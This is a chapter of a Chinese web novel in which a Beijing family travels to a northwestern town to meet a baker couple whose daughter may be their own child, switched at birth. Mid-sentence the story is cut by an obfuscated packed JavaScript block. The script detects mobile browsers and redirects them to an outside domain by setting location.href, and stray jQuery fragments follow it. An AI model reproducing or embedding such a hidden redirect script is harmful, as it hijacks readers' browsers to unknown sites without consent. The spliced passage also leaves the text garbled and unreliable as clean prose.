时隔几天,梁母接到了王田力打来的电话,说了余秀的事。
“梁嫂子,我打问清楚了,和你同一天生娃的还有个中湾村的女人,叫余秀,她老汉叫杨军,生了两个娃,大的是个丫头,和嫂子家的小娃一同岁,小的是个娃子,今年才上初一。”
“行,谢谢田力哥,麻烦你跑前跑后了!”梁母道了谢。
“嗐,这算个啥事,有啥你们尽管说,跑个腿又不费事。”
梁母又问了问这个余秀和杨军家的情况,得知两人早早都没了父母,且没什么亲戚,除了余秀有个弟弟,再没别的亲人了,还得知这两口子现在没住在村里,也没种地,靠在镇上开个卖馍馍的店糊口。
她大致了解了这家人,至于余秀家的这个大丫头是不是她的亲生女儿,他们得国庆节亲自去了再看,王田力是乡下人,没条件给他们拍个照片寄过来。
两人又相互问了问近况、收成,才挂了电话。
梁母和梁父打电话简单说了一下,便商量着国庆节得去一趟,梁母又联系了梁珘,让他把去西北的火车票买上。
很快,国庆节放假了。
梁父、梁母提前和单位说了要去西北插队的地方看看老乡,要是放假期间有临时的工作就别给他们安排了,至于假期值班,下回放假再安排吧。
2号下午,一家四口先在县里下了火车,又步行到汽车站,等了好久才上了一趟去镇上的班车。
楚霏透过车窗望着这个简陋的车站,等车好不容易出了站,却没有立即加速,而是慢腾腾走着,路上遇到有人招手就停下让他们上来,好多人都带着大包小包,反倒是他们一家人,只带了个箱子,背了两个包,算得上轻便了。
“饿了吗?”梁母问她,“这出了县城还得两个多小时才能到镇上,时间还早呢!”
梁珘从他背着的包里掏出来前买的饼干,给每个人都分了些:“吃一些垫垫吧,下火车那会儿,应该先吃个饭的。”
离开西北的时候,他才几岁大,早没多少记忆了,哪里知道来这里的路程这么长,好好的车站也不按点发车,出了站更不直接走,还边走边载客,他听上了车的人都叫这车“招手停”,可真是贴切极了!
梁父吃了几块饼干就不吃了,拿着水壶也没多喝,只几口就停下了。
坐车时间长,上厕所不方便,少喝水能避免麻烦。
梁母、梁珘和楚霏分了剩下的饼干,每人都喝了点水缓解口干。
一家子上顿正经吃饭,还是早晨在火车的餐车里,这会儿没到地方,能垫巴几口胃里不难受便罢了。
“老梁,你看看那边,这以前没有的。”梁母望着外面倒是很怀念,“这些年也添了不少建筑,变化大的都不怎么认识了。”
“到底是西北,发展还是慢了,瞧着街上人也不多,经济上得相差十年吧?”梁父眼中露出的是忧虑。
“没办法,这里地广人稀,交通条件差,想要发展制约因素太多了。”梁母感叹。
以他们所处的位置和见识,看到一地一城思考的都是这些,且能透过目之所见想到根源,更明白这里发展的困境。
等车出县城时,这一走一停接的人也差不多把车坐满了,很多人暗中打量着明显不同的一家四口,有的自卑、有的回避、有的好奇,连相互说话的声音都小了些,像是怕打扰到他们这些“城里人”。
十月份的西北天已凉了,县城里看着还好些,多是建筑物,出了县城便是一望无际的戈壁滩,零星长的草都黄了,好多处地面都有一层白色,放眼望去像斑秃一样,看起来十分荒凉。
“那些白的,是碱吗?”梁珘问。
“嗯,这里的地普遍盐碱化,戈壁滩上更严重些。”
“那耕地也这样?”耕地要是这样,根本种不出东西的。
梁父:“不是,能形成村子、镇子的地方都有泉或河沟,祖祖辈辈在那附近开垦土地,养成熟田的相对情况好些,近些年加上使用化肥、尿素、农药等,收成也比以前强多了。”
“但种地还是很辛苦,有了收成又要交农业税,又要交‘三提五统’,剩下的才是供自家吃的,有些人家根本不够,拉饥荒了只能跟粮食富余些的人家借,等有了再还,借借还还,哪有不穷的!”梁母这些年时常和这边老乡联系,比较了解情况。
梁珘沉默了,他记事起就生活在京市,家里没什么亲戚,父母接触的人家也少有在周边乡下种地的,完全不清楚这些,根本没法想象乡里人的日子过得这么难。
而他的亲生妹妹可能就生活在这样的地方,他心里忍不住揪疼。
梁父、梁母也沉默了,同样想到了自己的亲生女儿。
两个多小时后,天都黑了,他们坐的这趟车才晃晃悠悠进了镇子,比之县城,这镇子着实小多了,横竖各一条街,灯火都不见多少。
一家子下了车先找了家招待所,这镇上连个宾馆都没有,条件真的很一般。等在招待所的房间放下行李,本想出门找个吃饭的地方,谁知一出去就发现,这个点都没有开门的了。
他们只好在招待所旁边还开门的商店里买了些方便面,人家还只有肉蓉面,买了四包拿回来,翻出带着的铝制饭盒,跟招待所的老板要了壶热水,泡着糊弄了几口。
肉蓉面适合煮着吃,泡着吃实在一般,四个人吃得都挺难受,草草对付着吃了些便简单洗漱睡了。
第二天一早,梁父、梁母天亮就睁眼了,硬挨到外面传来嘈杂声,他们才起来去叫两个孩子。
梁珘一脸没睡好的样子,楚霏倒是还好,一家人收拾好出了招待所,就发现这镇子比昨晚热闹多了,来往的人骑着自行车或是三轮车,多穿着黑灰蓝的衣服和布鞋,有的衣服上还有补丁,瞧着又忙碌又辛苦。
梁父、梁母带着两个孩子找早餐摊子,要了豆浆和油条,还加了几个包子,总算能吃顿顺口的热和饭了。
吃完早餐,天已大亮,一家子循着王田力说的地方找了过去,正好看到那糕点铺子开门。
三十来岁的中年夫妻,男人长了一张容长脸,浓眉大眼,正笑着和女人说什么,女人拿着刚打开的链锁,在旁边看着男人把门推开、帘子放下来,一张清秀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191259|180148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白皙的面上也笑着。
站在街对面望着那对夫妻,梁父、梁母心中满是复杂。
没有对比时还不觉得,可见了这个男人,他们就发现梁珊的脸型、嘴巴和这个男人几乎一样,是那种分开看不觉得有什么,只要放在一起,就能明显看出他们轮廓、容貌上的相似。
血缘真的很神奇,父母和子女分开看完全不同,可一旦站在一起,眉眼、脸型、鼻子、嘴巴就怎么看怎么相像,是那种任谁看了都知道他们有血缘关系的像。
“走吧!”梁父吸了口气,先抬脚朝对面走去。
梁母、梁珘跟在后面,楚霏也是。
“大哥,您是来买馍馍?今天新做的还没好,只有昨天做的了,您要不嫌弃就进去看看?”正要进店门的余秀见穿着打扮和那些干部很像的梁父直直走过来,还以为是要买东西,忙笑着道。
“嗯。”梁父发出个鼻音,在她往旁边避让后,径直跨过了店门。
梁母、梁珘、楚霏依次进去。
余秀有点奇怪,想着买个馍怎么一家子都来了,但也只是疑惑一瞬,就跟在后面也进了店。
先一步进来的杨军正在整理柜台上那些装馍馍的木盘子,见进了人,他虽意外于这么早就有客人,却还是笑着招呼:“今儿做的还没好,这些是昨天下午出锅的,也暄软着,您先看看?要是能等住,过一阵子新出锅的也就好了。”
“杨军同志、余秀同志,我们是从京市来的,以前是这里插队的知青,有点关于孩子的事想和你们谈谈。”梁父肃着脸认真道。
杨军停下手里的活,和走到他身边的余秀面面相觑,两人肉眼可见地局促了很多,他们平常做生意也和镇上的干部接触,可像梁父这样的属实头一次见,感觉比镇上的书记、镇长气派多了。
“秀儿,我去把门关了,今天歇一天。”杨军到底是男人,就算心里有些怵,还是勉强镇定下来,“你带他们先坐,给倒杯茶。”
杨军刚抬脚一走,余秀肉眼可见地想拦,最终强忍住了,不太自然地笑着迎他们往里面走:“请里面坐,我家这……有些乱,嗯,别嫌弃。”
梁父、梁母跟着她进了挂着白布帘的一道门,才发现这不是墙,而是一道三合板拼起来的隔墙,隔墙后放着个简单搭的架子,上面堆着成捆的包装袋、盖着塑料布的一摞长方形的木盘子,这是用薄木板钉的,和前面放馍馍那些一样,只是小一些。
这个架子旁留了进出的空间,再往里放着一个大柜子,背对隔间充当下一道隔断,等他们再往前走,就发现这是个衣柜,两边是门,中间镶着一块相当于柜子四分之三的镜子,镜子下半部分上画了艳丽的花,还能看到一个红色的“囍”字在花朵之间。
嗯,这是个婚嫁时打的大衣柜。
衣柜后面是个不超过10平米大的小空间,靠侧墙摆着一个三人座的沙发,上面盖着碎花布做的沙发罩,座位上放着碎布拼成的圆形垫子,沙发前放着一个双层长条茶几,茶几两边各有一个单人沙发,样式、布置和三人沙发一样。
这算是个小小的客厅了。